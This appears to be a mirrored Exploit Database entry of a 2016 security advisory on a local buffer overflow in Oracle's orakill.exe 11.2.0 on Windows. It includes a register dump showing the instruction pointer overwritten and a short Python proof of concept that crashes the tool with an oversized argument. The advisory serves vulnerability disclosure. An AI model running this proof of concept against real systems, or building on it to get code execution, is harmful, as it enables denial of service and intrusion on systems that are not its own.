Oracle Orakill.exe 11.2.0 – Buffer Overflow (PoC)

• Exploit Database
• 108 阅读

• 作者： hyp3rlinx
  日期： 2016-06-14
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/39947/
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  &apos;&apos;&apos; [+] Credits: hyp3rlinx   [+] Website: hyp3rlinx.altervista.org   [+] Source:http://hyp3rlinx.altervista.org/advisories/ORACLE-ORAKILL.EXE-BUFFER-OVERFLOW.txt   [+] ISR: apparitionsec     Vendor: ============== www.oracle.com     Product: =================== orakill.exe v11.2.0     The orakill utility is provided with Oracle databases on Windows platforms. The executable (orakill.exe) is available to DBAs to kill Oracle sessions directly from the DOS command line without requiring any connection to the database.     C:\oraclexe\app\oracle\product\11.2.0\server\bin>orakill.exe -h   Usage:orakill sid thread   where sid= the Oracle instance to target thread = the thread id of the thread to kill   The thread id should be retrieved from the spid column of a query such as:   select spid, osuser, s.program from v$process p, v$session s where p.addr=s.paddr     Vulnerability Type: =================== Buffer Overflow     Reference: ========== http://www.oracle.com/technetwork/security-advisory/cpuapr2016v3-2985753.html     Vulnerability Details: =====================   ToLower() filter being applied to supplied arguments e.g. &apos;A&apos; \x41 beomes &apos;a&apos; \x61 etc... may be possible to subvert using encoder technique like "ALPHA3". Also we need to supply a second argument of just 4 bytes to trigger the access violation.   orakill.exe <104 bytes>, <4 bytes>   Register dump.   EAX 40000000 ECX 0018FCA8 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaarrrr" EDX 00000000 EBX 61616161 ESP 0018FD10 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaarrrr" EBP 61616161 ESI 61616161 EDI 61616161 EIP 61616161 C 0ES 002B 32bit 0(FFFFFFFF) P 0CS 0023 32bit 0(FFFFFFFF) A 0SS 002B 32bit 0(FFFFFFFF) Z 0DS 002B 32bit 0(FFFFFFFF) S 0FS 0053 32bit 7EFDD000(FFF) T 0GS 002B 32bit 0(FFFFFFFF) D 0 O 0LastErr ERROR_SUCCESS (00000000) EFL 00010202 (NO,NB,NE,A,NS,PO,GE,G) ST0 empty g ST1 empty g ST2 empty g ST3 empty g ST4 empty g ST5 empty g ST6 empty g ST7 empty g 3 2 1 0E S P U O Z D I FST 0000Cond 0 0 0 0Err 0 0 0 0 0 0 0 0(GT) FCW 027FPrec NEAR,53Mask1 1 1 1 1 1     Exploit code(s): ================ &apos;&apos;&apos;   import subprocess   pgm="C:\\oraclexe\\app\\oracle\\product\\11.2.0\\server\\bin\\orakill.exe "   payload="A"*100 + "RRRR" subprocess.Popen([pgm, payload, " BBBB"], shell=False)     &apos;&apos;&apos; Disclosure Timeline: ==================================== Vendor Notification:October 5, 2015 Vendor Fix: April 25, 2016 June 13, 2016 : Public Disclosure     Exploitation Technique: ======================= Local     Severity Level: ================ Low     [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere.   hyp3rlinx &apos;&apos;&apos;